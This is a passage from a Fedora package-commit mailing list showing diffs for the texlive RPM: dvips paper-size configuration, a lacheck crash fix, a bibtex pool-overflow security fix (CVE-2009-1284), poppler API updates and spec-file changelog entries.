+ at +  { /a9 where { pop a9 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a10 26mm 37mm
+ at + ! %%DocumentPaperSizes: a10
+ at + %%BeginPaperSize: a10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [74 105] >> setpagedevice }
+ at +  { /a10 where { pop a10 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb0 1030mm 1456mm
+ at + ! %%DocumentPaperSizes: jisb0
+ at + %%BeginPaperSize: jisb0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2920 4127] >> setpagedevice }
+ at +  { /jisb0 where { pop jisb0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb1 728mm 1030mm
+ at + ! %%DocumentPaperSizes: jisb1
+ at + %%BeginPaperSize: jisb1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2064 2920] >> setpagedevice }
+ at +  { /jisb1 where { pop jisb1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb2 515mm 728mm
+ at + ! %%DocumentPaperSizes: jisb2
+ at + %%BeginPaperSize: jisb2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1460 2064] >> setpagedevice }
+ at +  { /jisb2 where { pop jisb2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb3 364mm 515mm
+ at + ! %%DocumentPaperSizes: jisb3
+ at + %%BeginPaperSize: jisb3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1032 1460] >> setpagedevice }
+ at +  { /jisb3 where { pop jisb3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb4 257mm 364mm
+ at + ! %%DocumentPaperSizes: jisb4
+ at + %%BeginPaperSize: jisb4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [729 1032] >> setpagedevice }
+ at +  { /jisb4 where { pop jisb4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb5 182mm 257mm
+ at + ! %%DocumentPaperSizes: jisb5
+ at + %%BeginPaperSize: jisb5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [516 729] >> setpagedevice }
+ at +  { /jisb5 where { pop jisb5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb6 128mm 182mm
+ at + ! %%DocumentPaperSizes: jisb6
+ at + %%BeginPaperSize: jisb6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [363 516] >> setpagedevice }
+ at +  { /jisb6 where { pop jisb6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb7 91mm 128mm
+ at + ! %%DocumentPaperSizes: jisb7
+ at + %%BeginPaperSize: jisb7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [258 363] >> setpagedevice }
+ at +  { /jisb7 where { pop jisb7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb8 64mm 91mm
+ at + ! %%DocumentPaperSizes: jisb8
+ at + %%BeginPaperSize: jisb8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [181 258] >> setpagedevice }
+ at +  { /jisb8 where { pop jisb8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b0 1000mm 1414mm
+ at + ! %%DocumentPaperSizes: b0
+ at + %%BeginPaperSize: b0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2835 4008] >> setpagedevice }
+ at +  { /b0 where { pop b0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b1 707mm 1000mm
+ at + ! %%DocumentPaperSizes: b1
+ at + %%BeginPaperSize: b1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2004 2835] >> setpagedevice }
+ at +  { /b1 where { pop b1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b2 500mm 707mm
+ at + ! %%DocumentPaperSizes: b2
+ at + %%BeginPaperSize: b2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1417 2004] >> setpagedevice }
+ at +  { /b2 where { pop b2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b3 353mm 500mm
+ at + ! %%DocumentPaperSizes: b3
+ at + %%BeginPaperSize: b3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1001 1417] >> setpagedevice }
+ at +  { /b3 where { pop b3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b4 250mm 353mm
+ at + ! %%DocumentPaperSizes: b4
+ at + %%BeginPaperSize: b4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [709 1001] >> setpagedevice }
+ at +  { /b4 where { pop b4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b5 176mm 250mm
+ at + ! %%DocumentPaperSizes: b5
+ at + %%BeginPaperSize: b5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [499 709] >> setpagedevice }
+ at +  { /b5 where { pop b5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b6 125mm 176mm
+ at + ! %%DocumentPaperSizes: b6
+ at + %%BeginPaperSize: b6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [354 499] >> setpagedevice }
+ at +  { /b6 where { pop b6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ c5 162mm 229mm
+ at + ! %%DocumentPaperSizes: c5
+ at + %%BeginPaperSize: c5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [459 649] >> setpagedevice }
+ at +  { /c5 where { pop c5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ DL 110mm 220mm
+ at + ! %%DocumentPaperSizes: DL
+ at + %%BeginPaperSize: DL
+ at + /setpagedevice where
+ at +  { pop << /PageSize [312 624] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Comm10 105mm 241mm
+ at + ! %%DocumentPaperSizes: Comm10
+ at + %%BeginPaperSize: Comm10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [297 684] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Monarch 98.4mm 190.5mm
+ at + ! %%DocumentPaperSizes: Monarch
+ at + %%BeginPaperSize: Monarch
+ at + /setpagedevice where
+ at +  { pop << /PageSize [279 540] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archE 36in 48in
+ at + ! %%DocumentPaperSizes: archE
+ at + %%BeginPaperSize: archE
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2592 3456] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archD 24in 36in
+ at + ! %%DocumentPaperSizes: archD
+ at + %%BeginPaperSize: archD
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1728 2592] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archC 18in 24in
+ at + ! %%DocumentPaperSizes: archC
+ at + %%BeginPaperSize: archC
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1296 1728] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archB 12in 18in
+ at + ! %%DocumentPaperSizes: archB
+ at + %%BeginPaperSize: archB
+ at + /setpagedevice where
+ at +  { pop << /PageSize [864 1296] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archA 9in 12in
+ at + ! %%DocumentPaperSizes: archA
+ at + %%BeginPaperSize: archA
+ at + /setpagedevice where
+ at +  { pop << /PageSize [648 864] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flsa 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flsa
+ at + %%BeginPaperSize: flsa
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flse 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flse
+ at + %%BeginPaperSize: flse
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ csheet 431.8mm 558.8mm
+ at + ! %%DocumentPaperSizes: csheet
+ at + %%BeginPaperSize: csheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1224 1584] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ dsheet 558.8mm 863.6mm
+ at + ! %%DocumentPaperSizes: dsheet
+ at + %%BeginPaperSize: dsheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1584 2448] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ esheet 863.6mm 1117.6mm
+ at + ! %%DocumentPaperSizes: esheet
+ at + %%BeginPaperSize: esheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2448 3168] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ unknown 0in 0in

texlive-lacheck.patch:
 lacheck.lex |   16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

Index: texlive-lacheck.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-11/texlive-lacheck.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-lacheck.patch	27 Aug 2008 13:45:49 -0000	1.2
+++ texlive-lacheck.patch	21 Oct 2009 17:21:29 -0000	1.3
@@ -15,3 +15,30 @@ diff -up texlive-2007/texk/lacheck/lache
  }
  
  void e_checkend(n, name)
+@@ -1075,6 +1075,7 @@ char *name;
+ 	{
+ 	  print_bad_match(name,3);
+           pop();
++          if (gstackp <= 0) return;
+         }
+ 
+          pop();  
+@@ -1090,11 +1091,13 @@ int type;
+ 		 line_count, 
+ 		 eg_command( end_command , type) ) ;
+ 
+-	  printf("\"%s\", line %d: -> unmatched \"%s\"\n",
+-	         CG_FILE, 
+-		 CG_LINE, 
+-		 bg_command( CG_NAME ) ) ;
+-	  warn_count += 2;
++	  if (gstackp > 0) {
++		 printf("\"%s\", line %d: -> unmatched \"%s\"\n",
++		 	 CG_FILE, 
++		 	 CG_LINE, 
++		 	 bg_command( CG_NAME ) ) ;
++		 warn_count += 2;
++	  }
+ }
+ 
+ int check_top_level_end(end_command,type)

texlive-poolfix.patch:
 bibtex.ch |    9 +++++++++
 1 file changed, 9 insertions(+)

Index: texlive-poolfix.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-11/texlive-poolfix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- texlive-poolfix.patch	2 Apr 2009 16:35:45 -0000	1.1
+++ texlive-poolfix.patch	21 Oct 2009 17:21:29 -0000	1.2
@@ -1,54 +1,19 @@
 diff -up texlive-2007/texk/web2c/bibtex.ch.poolfix texlive-2007/texk/web2c/bibtex.ch
 --- texlive-2007/texk/web2c/bibtex.ch.poolfix	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/bibtex.ch	2009-04-02 18:06:56.000000000 +0200
-@@ -169,7 +169,7 @@ end.
++++ texlive-2007/texk/web2c/bibtex.ch	2009-10-16 06:55:52.000000000 +0200
+@@ -1134,6 +1134,15 @@ while ((ex_buf_xptr < ex_buf_ptr) and
+ @y
+ @z
  
- @x [still 14]
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-@@ -179,7 +179,7 @@ end.
- @!wiz_fn_space=3000; {maximum amount of |wiz_defined|-function space}
- @y [still 14]
- @!MAX_BIB_FILES=20; {initial number of \.{.bib} files allowed}
--@!POOL_SIZE=65000; {initial number of characters in strings}
-+@!POOL_SIZE=650000; {initial number of characters in strings}
- @!max_strings=35000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=5000; {maximum number of distinct cite keys; must be
-diff -up texlive-2007/texk/web2c/bibtex.web.poolfix texlive-2007/texk/web2c/bibtex.web
---- texlive-2007/texk/web2c/bibtex.web.poolfix	2006-01-17 22:41:51.000000000 +0100
-+++ texlive-2007/texk/web2c/bibtex.web	2009-04-02 18:06:56.000000000 +0200
-@@ -399,7 +399,7 @@ first limitation to be a problem, often 
- @!max_print_line=79; {the maximum: must be |>min_print_line| and |<buf_size|}
- @!aux_stack_size=20; {maximum number of simultaneous open \.{.aux} files}
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-diff -up texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch.poolfix texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch
---- texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch.poolfix	2009-04-02 18:06:56.000000000 +0200
-+++ texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch	2009-04-02 18:07:52.000000000 +0200
-@@ -179,7 +179,7 @@ end.
- 
- @x [still 14]
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-@@ -189,7 +189,7 @@ end.
- @!wiz_fn_space=3000; {maximum amount of |wiz_defined|-function space}
- @y [still 14]
- @!MAX_BIB_FILES=20; {initial number of \.{.bib} files allowed}
--@!POOL_SIZE=65000; {initial number of characters in strings}
-+@!POOL_SIZE=650000; {initial number of characters in strings}
- @!max_strings=35000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=5000; {maximum number of distinct cite keys; must be
++% Forgot to check for pool overflow here.  Triggered by test case linked
++% from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=520920.
++ at x
++while (sp_ptr < sp_end) do                      {shift the substring}
++ at y
++str_room(sp_end - sp_ptr);
++while (sp_ptr < sp_end) do                      {shift the substring}
++ at z
++
+ % [459] Eliminate unreferenced statement label, because `undefined' is
+ % now a constant expression that is not evaluated at the Web level. If
+ % this label were ever required, it could be replaced by the constant

texlive-poppler.patch:
 configure                           |    6 ++--
 configure.in                        |    8 +++---
 texk/web2c/pdftexdir/pdftex.mk      |    7 ++++-
 texk/web2c/pdftexdir/pdftexextra.in |    2 -
 texk/web2c/pdftexdir/pdftoepdf.cc   |   45 +++++++++++++++++-------------------
 texk/web2c/pdftexdir/pdftosrc.cc    |   37 +++++++++++++++--------------
 texk/web2c/pdftexdir/utils.c        |    6 ++--
 texk/web2c/xetexdir/XeTeX_ext.c     |    8 ++----
 texk/web2c/xetexdir/pdfimage.cpp    |   24 +++++++++++++++----
 texk/web2c/xetexdir/xetex.mk        |   10 +++++---
 10 files changed, 86 insertions(+), 67 deletions(-)

Index: texlive-poppler.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-11/texlive-poppler.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- texlive-poppler.patch	12 Nov 2008 03:42:12 -0000	1.4
+++ texlive-poppler.patch	21 Oct 2009 17:21:29 -0000	1.5
@@ -1,6 +1,6 @@
 diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
---- texlive-2007/configure.in.poppler	2007-01-08 20:17:11.000000000 -0500
-+++ texlive-2007/configure.in	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
++++ texlive-2007/configure.in	2009-10-15 14:57:43.000000000 +0200
 @@ -157,9 +157,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -24,8 +24,8 @@ diff -up texlive-2007/configure.in.poppl
  sinclude(libs/gd/gd.ac)
  sinclude(libs/freetype/freetype.ac)
 diff -up texlive-2007/configure.poppler texlive-2007/configure
---- texlive-2007/configure.poppler	2007-01-09 09:16:26.000000000 -0500
-+++ texlive-2007/configure	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
++++ texlive-2007/configure	2009-10-15 14:57:43.000000000 +0200
 @@ -3442,9 +3442,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -40,8 +40,8 @@ diff -up texlive-2007/configure.poppler 
  export needs_libxpdf
  
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
---- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-10-15 14:57:43.000000000 +0200
 @@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
     (generated from ../lib/texmfmp.c).
  */
@@ -52,8 +52,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  #define AUTHOR NULL
  #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler texlive-2007/texk/web2c/pdftexdir/pdftex.mk
---- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -2,6 +2,9 @@
  # This fragment contains the parts of the makefile that are most likely to
  # differ between releases of pdfeTeX.
@@ -83,8 +83,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  	cd $(pdftexdir) && $(MAKE) pdftosrc.o
  check: pdftosrc-check
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-10-15 14:57:52.000000000 +0200
 @@ -26,25 +26,24 @@ $Id: pdftoepdf.cc,v 1.9 2006/09/01 18:06
  #include <stdio.h>
  #include <string.h>
@@ -146,6 +146,24 @@ diff -up texlive-2007/texk/web2c/pdftexd
      if (obj->isBool()) {
          pdf_printf("%s", obj->getBool()? "true" : "false");
      } else if (obj->isInt()) {
+@@ -634,7 +633,7 @@ static void writeEncodings()
+     }
+     for (r = encodingList; r != 0; r = n) {
+         n = r->next;
+-        delete r->font;
++        r->font->decRefCnt();
+         delete r;
+     }
+ }
+@@ -689,7 +688,7 @@ read_pdf_info(char *image_name, char *pa
+     // this works only for PDF 1.x -- but since any versions of PDF newer
+     // than 1.x will not be backwards compatible to PDF 1.x, pdfTeX will
+     // then have to changed drastically anyway.
+-    pdf_version_found = pdf_doc->doc->getPDFVersion();
++    pdf_version_found = pdf_doc->doc->getPDFMajorVersion() + pdf_doc->doc->getPDFMinorVersion()/10.;
+     pdf_version_wanted = 1 + (minor_pdf_version_wanted * 0.1);
+     if (pdf_version_found > pdf_version_wanted) {
+         char msg[] =
 @@ -703,7 +702,7 @@ read_pdf_info(char *image_name, char *pa
      epdf_num_pages = pdf_doc->doc->getCatalog()->getNumPages();
      if (page_name) {
@@ -156,8 +174,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
          if (link == 0 || !link->isOk())
              pdftex_fail("PDF inclusion: invalid destination <%s>", page_name);
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-10-15 14:57:43.000000000 +0200
 @@ -25,22 +25,23 @@ $Id: //depot/Build/source.development/Te
  #include <stdio.h>
  #include <string.h>
@@ -223,8 +241,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
      doc = new PDFDoc(fileName);
      if (!doc->isOk()) {
 diff -up texlive-2007/texk/web2c/pdftexdir/utils.c.poppler texlive-2007/texk/web2c/pdftexdir/utils.c
---- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 12:20:03.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/utils.c	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 18:20:03.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-10-15 14:57:43.000000000 +0200
 @@ -37,7 +37,7 @@ $Id: //depot/Build/source.development/Te
  #include "zlib.h"
  #include "ptexlib.h"
@@ -247,8 +265,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  
  
 diff -up texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler texlive-2007/texk/web2c/xetexdir/pdfimage.cpp
---- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 05:29:12.000000000 -0500
-+++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 11:29:12.000000000 +0100
++++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-10-15 14:57:43.000000000 +0200
 @@ -11,10 +11,24 @@
  
  #include "pdfimage.h"
@@ -288,8 +306,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  	
  	if (!doc) {
 diff -up texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c
---- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 08:04:36.000000000 -0500
-+++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2008-11-11 22:39:46.000000000 -0500
+--- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 14:04:36.000000000 +0100
++++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-10-15 14:57:43.000000000 +0200
 @@ -33,7 +33,7 @@ authorization from SIL International.
   */
  
@@ -327,8 +345,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  		);
  }
 diff -up texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler texlive-2007/texk/web2c/xetexdir/xetex.mk
---- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2008-11-11 22:38:31.000000000 -0500
-+++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-10-15 14:57:41.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -4,6 +4,10 @@
  
  Makefile: $(srcdir)/xetexdir/xetex.mk


Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-11/texlive.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- texlive.spec	2 Apr 2009 16:35:45 -0000	1.51
+++ texlive.spec	21 Oct 2009 17:21:29 -0000	1.52
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	42%{?dist}
+Release:	45%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -77,6 +77,7 @@ Patch30:	texlive-lacheck.patch
 Patch31:	texlive-elif.patch
 Patch32:	texlive-getline.patch
 Patch33:	texlive-poolfix.patch
+Patch34:	texlive-dvipsconfig.patch
 
 ######
 # mpeters contributed patches
@@ -124,7 +125,6 @@ Patch1004:	texlive-2007-jp-platex209.pat
 Patch1005:	texlive-2007-pdvips.patch
 Patch1006:	texlive-2007-ptex-3.1.10.patch
 Patch1007:	texlive-2007-fmtutil-ptex.patch
-Patch1008:	texlive-poolfix.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -322,18 +322,19 @@ Provides: tex(context)
 ConTeXt is a document preparation system based on TeX.
 
 %package -n kpathsea
-Summary: Shared library needed by kpathsea and info files
+Summary: Path searching library for TeX-related files
 Group:   Development/Libraries
 Obsoletes: tetex-fonts < 3.0-99
-Requires: texlive = %{version}-%{release}
 
 %description -n kpathsea
-Shared library needed by kpathsea and info files.
+The library is at the centre of pretty much all Unix-based TeX
+executable. It is no longer distributed separately, but rather
+consititutes a central part of the sources of the TeX-live
+distribution.
 
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
-Requires:  kpathsea = %{version}-%{release}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -396,6 +397,8 @@ chmod -x texk/dvipdfm/encodings.c
 %patch30 -p1 -b .lacheck
 %patch31 -p1 -b .elif
 %patch32 -p1 -b .getline
+%patch33 -p1 -b .poolfix
+%patch34 -p1 -b .dvipsconfig
 
 # fix non utf man pages
 %patch42 -p1 -b .notutf8-2
@@ -455,15 +458,13 @@ cp -lR texk/dvipsk texk/pdvipsk
 cd pdvipsk
 %patch1005 -p0
 cd -
-patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch
+patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch || :
 %patch1000 -p1 -b .pdvips
 ln -s dvips.1 texk/pdvipsk/pdvips.1
 
 # set up mendexk
 tar xfz %{SOURCE1002} -C texk
 
-%patch1008 -p1 -b .poolfix
-
 %build
 set -x
 # define CCACHE_DIR to let the build pass with ccache enabled.
@@ -1236,6 +1237,14 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
+- make kpathsea not dependent on texlive
+- fix lacheck again (#451513)
+- fix dvips configuration (#467542)
+- update kpathsea description and summary (#519257)
+- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
+- don't complain if the pdvipsk hunks touching config.ps don't apply
+
 * Thu Apr 02 2009 Jindrich Novy <jnovy at redhat.com> - 2007-42
 - avoid clashes with getline() from glibc
 - increase default bibtex/jbibtex limits (#492136)



From jnovy at fedoraproject.org  Wed Oct 21 17:26:46 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 17:26:46 +0000 (UTC)
Subject: rpms/texlive/F-10 texlive-dvipsconfig.patch, NONE,
	1.1 texlive-elif.patch, NONE, 1.1 texlive-getline.patch, NONE,
	1.1 texlive-poolfix.patch, NONE, 1.1 texlive-lacheck.patch, 1.2,
	1.3 texlive-poppler.patch, 1.1, 1.2 texlive.spec, 1.43,
	1.44 texlive.cron, 1.1, NONE
Message-ID: <20091021172646.E8B7511C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24550

Modified Files:
	texlive-lacheck.patch texlive-poppler.patch texlive.spec 
Added Files:
	texlive-dvipsconfig.patch texlive-elif.patch 
	texlive-getline.patch texlive-poolfix.patch 
Removed Files:
	texlive.cron 
Log Message:
* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
- make kpathsea not dependent on texlive
- fix lacheck again (#451513)
- fix dvips configuration (#467542)
- update kpathsea description and summary (#519257)
- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
- don't complain if the pdvipsk hunks touching config.ps don't apply
- avoid clashes with getline() from glibc
- texlive-east-asian now requires texlive-texmf-east-asian (#487258)
- do not attempt to remove old fonts via cron in /var/lib/texmf,
  fonts are stored in ~/.texlive2007/texmf-var per-user
  (#477833, #463975, #453468)
- use correct paths in brp-* post install scriptlets (#468179)
- fix build with gcc4.4


texlive-dvipsconfig.patch:
 config.ps |  607 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 555 insertions(+), 52 deletions(-)

--- NEW FILE texlive-dvipsconfig.patch ---
diff -up texlive-2007/texk/dvipsk/config.ps.dvipsconfig texlive-2007/texk/dvipsk/config.ps
--- texlive-2007/texk/dvipsk/config.ps.dvipsconfig	2006-01-17 22:41:51.000000000 +0100
+++ texlive-2007/texk/dvipsk/config.ps	2009-10-15 21:01:23.000000000 +0200
@@ -1,83 +1,586 @@
-* Configuration file for dvips.
-*
-*  Default resolution.  This needs to be correct.
-D 300
-*
-*  Metafont mode to use to generate bitmap fonts.  This needs to be a
-*  mode with the specified resolution.  Various hardwired defaults are
-*  used for a few resolutions, but it is best to specify it explicitly.
-*  http://www.ctan.org/tex-archive/fonts/modes/modes.mf has a list of modes.
-*M modename
-*
-*  Amount of memory.  Not crucial to be exact, if you have a lot.
-m 470000
-*
-*  If unspecified, output goes to a file.
